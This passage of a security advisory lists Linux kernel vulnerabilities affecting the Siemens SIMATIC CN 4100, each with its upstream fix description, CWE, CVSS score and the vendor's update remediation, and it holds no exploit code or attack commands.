[WHY] Although unlikely drm_atomic_get_new_connector_state() or drm_atomic_get_old_connector_state() can return NULL. [HOW] Check returns before dereference. (cherry picked from commit 1e5e8d672fec9f2ab352be121be971877bff2af9)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: s390/sclp: Fix SCCB present check Tracing code called by the SCLP interrupt handler contains early exits if the SCCB address associated with an interrupt is NULL. This check is performed after physical to virtual address translation. If the kernel identity mapping does not start at address zero, the resulting virtual address is never zero, so that the NULL checks won't work. Subsequently this may result in incorrect accesses to the first page of the identity mapping. Fix this by introducing a function that handles the NULL case before address translation.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix a race when updating an existing write After nfs_lock_and_join_requests() tests for whether the request is still attached to the mapping, nothing prevents a call to nfs_inode_remove_request() from succeeding until we actually lock the page group. The reason is that whoever called nfs_inode_remove_request() doesn't necessarily have a lock on the page group head. So in order to avoid races, let's take the page group lock earlier in nfs_lock_and_join_requests(), and hold it across the removal of the request in nfs_inode_remove_request().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: Fix the driver update version check The security-version-number check should be used rather than the runtime version check for driver updates. Otherwise, the firmware update would fail when the update binary had a lower runtime version number than the current one. [ rjw: Changelog edits ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1025 Comparison Using Wrong Factors\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ipv6: sr: Fix MAC comparison to be constant-time To prevent timing attacks, MACs need to be compared in constant time. Use the appropriate helper function for this.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-208 Observable Timing Discrepancy\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39703\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net, hsr: reject HSR frame if skb can't hold tag Receiving HSR frame with insufficient space to hold HSR tag in the skb can result in a crash (kernel BUG): [ 45.390915] skbuff: skb_under_panic: text:ffffffff86f32cac len:26 put:14 head:ffff888042418000 data:ffff888042417ff4 tail:0xe end:0x180 dev:bridge_slave_1 [ 45.392559] ------------[ cut here ]------------ [ 45.392912] kernel BUG at net/core/skbuff.c:211! [ 45.393276] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI [ 45.393809] CPU: 1 UID: 0 PID: 2496 Comm: reproducer Not tainted 6.15.0 #12 PREEMPT(undef) [ 45.394433] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 45.395273] RIP: 0010:skb_panic+0x15b/0x1d0 [ 45.402911] Call Trace: [ 45.403105] [ 45.404470] skb_push+0xcd/0xf0 [ 45.404726] br_dev_queue_push_xmit+0x7c/0x6c0 [ 45.406513] br_forward_finish+0x128/0x260 [ 45.408483] __br_forward+0x42d/0x590 [ 45.409464] maybe_deliver+0x2eb/0x420 [ 45.409763] br_flood+0x174/0x4a0 [ 45.410030] br_handle_frame_finish+0xc7c/0x1bc0 [ 45.411618] br_handle_frame+0xac3/0x1230 [ 45.413674] __netif_receive_skb_core.constprop.0+0x808/0x3df0 [ 45.422966] __netif_receive_skb_one_core+0xb4/0x1f0 [ 45.424478] __netif_receive_skb+0x22/0x170 [ 45.424806] process_backlog+0x242/0x6d0 [ 45.425116] __napi_poll+0xbb/0x630 [ 45.425394] net_rx_action+0x4d1/0xcc0 [ 45.427613] handle_softirqs+0x1a4/0x580 [ 45.427926] do_softirq+0x74/0x90 [ 45.428196] This issue was found by syzkaller. The panic happens in br_dev_queue_push_xmit() once it receives a corrupted skb with ETH header already pushed in linear data. When it attempts the skb_push() call, there's not enough headroom and skb_push() panics. The corrupted skb is put on the queue by HSR layer, which makes a sequence of unintended transformations when it receives a specific corrupted HSR frame (with incomplete TAG). Fix it by dropping and consuming frames that are not long enough to contain both ethernet and hsr headers. Alternative fix would be to check for enough headroom before skb_push() in br_dev_queue_push_xmit(). In the reproducer, this is injected via AF_PACKET, but I don't easily see why it couldn't be sent over the wire from adjacent network. Further Details: In the reproducer, the following network interface chain is set up: \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth0_to_hsr \u251c\u2500\u2500\u2500\u2524 hsr_slave0 \u253c\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u251c\u2500\u2524 hsr0 \u251c\u2500\u2500\u2500\u2510 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth1_to_hsr \u253c\u2500\u2500\u2500\u2524 hsr_slave1 \u251c\u2500\u2500\u2500\u2518 \u2514\u2524 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u250c\u253c bridge \u2502 \u2502\u2502 \u2502 \u2502\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 ... \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 To trigger the events leading up to crash, reproducer sends a corrupted HSR fr ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1286 Improper Validation of Syntactic Correctness of Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry->proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/ while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39709\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: protect against spurious interrupts during probe Make sure the interrupt handler is initialized before the interrupt is registered. If the IRQ is registered before hfi_create(), it's possible that an interrupt fires before the handler setup is complete, leading to a NULL dereference. This error condition has been observed during system boot on Rb3Gen2.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39710\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Add a check for packet size after reading from shared memory Add a check to ensure that the packet size does not exceed the number of available words after reading the packet header from shared memory. This ensures that the size provided by the firmware is safe to process and prevent potential out-of-bounds memory access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt() In the interrupt handler rain_interrupt(), the buffer full check on rain->buf_len is performed before acquiring rain->buf_lock. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition, as rain->buf_len is concurrently accessed and modified in the work handler rain_irq_work_handler() under the same lock. Multiple interrupt invocations can race, with each reading buf_len before it becomes full and then proceeding. This can lead to both interrupts attempting to write to the buffer, incrementing buf_len beyond its capacity (DATA_SIZE) and causing a buffer overflow. Fix this bug by moving the spin_lock() to before the buffer full check. This ensures that the check and the subsequent buffer modification are performed atomically, preventing the race condition. An corresponding spin_unlock() is added to the overflow path to correctly release the lock. This possible bug was found by an experimental static analysis tool developed by our team.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: usbtv: Lock resolution while streaming When an program is streaming (ffplay) and another program (qv4l2) changes the TV standard from NTSC to PAL, the kernel crashes due to trying to copy to unmapped memory. Changing from NTSC to PAL increases the resolution in the usbtv struct, but the video plane buffer isn't adjusted, so it overflows. [hverkuil: call vb2_is_busy instead of vb2_is_streaming]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise gateway LWS calls to probe user read access We use load and stbys,e instructions to trigger memory reference interruptions without writing to memory. Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel and gateway page execute at privilege level 0, so this code never triggers a read access interruption. Thus, it is currently possible for user code to execute a LWS compare and swap operation at an address that is read protected at privilege level 3 (PRIV_USER). Fix this by probing read access rights at privilege level 3 and branching to lws_fault if access isn't allowed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39716\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise __get_user() to probe user read access Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel executes at privilege level 0, so __get_user() never triggers a read access interruption (code 26). Thus, it is currently possible for user code to access a read protected address via a system call. Fix this by probing read access rights at privilege level 3 (PRIV_USER) and setting __gu_err to -EFAULT (-14) if access isn't allowed. Note the cmpiclr instruction does a 32-bit compare because COND macro doesn't work inside asm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39718\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: vsock/virtio: Validate length in packet header before skb_put() When receiving a vsock packet in the guest, only the virtqueue buffer size is validated prior to virtio_vsock_skb_rx_put(). Unfortunately, virtio_vsock_skb_rx_put() uses the length from the packet header as the length argument to skb_put(), potentially resulting in SKB overflow if the host has gone wonky. Validate the length as advertised by the packet header before calling virtio_vsock_skb_rx_put().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.6\nHIGH\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39719\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: imu: bno055: fix OOB access of hw_xlate array Fix a potential out-of-bounds array access of the hw_xlate array in bno055.c. In bno055_get_regmask(), hw_xlate was iterated over the length of the vals array instead of the length of the hw_xlate array. In the case of bno055_gyr_scale, the vals array is larger than the hw_xlate array, so this could result in an out-of-bounds access. In practice, this shouldn't happen though because a match should always be found which breaks out of the for loop before it iterates beyond the end of the hw_xlate array. By adding a new hw_xlate_len field to the bno055_sysfs_attr, we can be sure we are iterating over the correct length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix panic due to PSLVERR When the PSLVERR_RESP_EN parameter is set to 1, the device generates an error response if an attempt is made to read an empty RBR (Receive Buffer Register) while the FIFO is enabled. In serial8250_do_startup(), calling serial_port_out(port, UART_LCR, UART_LCR_WLEN8) triggers dw8250_check_lcr(), which invokes dw8250_force_idle() and serial8250_clear_and_reinit_fifos(). The latter function enables the FIFO via serial_out(p, UART_FCR, p->fcr). Execution proceeds to the serial_port_in(port, UART_RX). This satisfies the PSLVERR trigger condition. When another CPU (e.g., using printk()) is accessing the UART (UART is busy), the current CPU fails the check (value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR) in dw8250_check_lcr(), causing it to enter dw8250_force_idle(). Put serial_port_out(port, UART_LCR, UART_LCR_WLEN8) under the port->lock to fix this issue. Panic backtrace: [ 0.442336] Oops - unknown exception [#1] [ 0.442343] epc : dw8250_serial_in32+0x1e/0x4a [ 0.442351] ra : serial8250_do_startup+0x2c8/0x88e ... [ 0.442416] console_on_rootfs+0x26/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid deadlock by moving pr_warn() outside kmemleak_lock When netpoll is enabled, calling pr_warn_once() while holding kmemleak_lock in mem_pool_alloc() can cause a deadlock due to lock inversion with the netconsole subsystem. This occurs because pr_warn_once() may trigger netpoll, which eventually leads to __alloc_skb() and back into kmemleak code, attempting to reacquire kmemleak_lock. This is the path for the deadlock. mem_pool_alloc() -> raw_spin_lock_irqsave(&kmemleak_lock, flags); -> pr_warn_once() -> netconsole subsystem -> netpoll -> __alloc_skb -> __create_object -> raw_spin_lock_irqsave(&kmemleak_lock, flags); Fix this by setting a flag and issuing the pr_warn_once() after kmemleak_lock is released.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-833 Deadlock\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39737\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup in __kmemleak_do_cleanup() A soft lockup warning was observed on a relative small system x86-64 system with 16 GB of memory when running a debug kernel with kmemleak enabled. watchdog: BUG: soft lockup - CPU#8 stuck for 33s! [kworker/8:1:134] The test system was running a workload with hot unplug happening in parallel. Then kemleak decided to disable itself due to its inability to allocate more kmemleak objects. The debug kernel has its CONFIG_DEBUG_KMEMLEAK_MEM_POOL_SIZE set to 40,000. The soft lockup happened in kmemleak_do_cleanup() when the existing kmemleak objects were being removed and deleted one-by-one in a loop via a workqueue. In this particular case, there are at least 40,000 objects that need to be processed and given the slowness of a debug kernel and the fact that a raw_spinlock has to be acquired and released in __delete_object(), it could take a while to properly handle all these objects. As kmemleak has been disabled in this case, the object removal and deletion process can be further optimized as locking isn't really needed. However, it is probably not worth the effort to optimize for such an edge case that should rarely happen. So the simple solution is to call cond_resched() at periodic interval in the iteration loop to avoid soft lockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 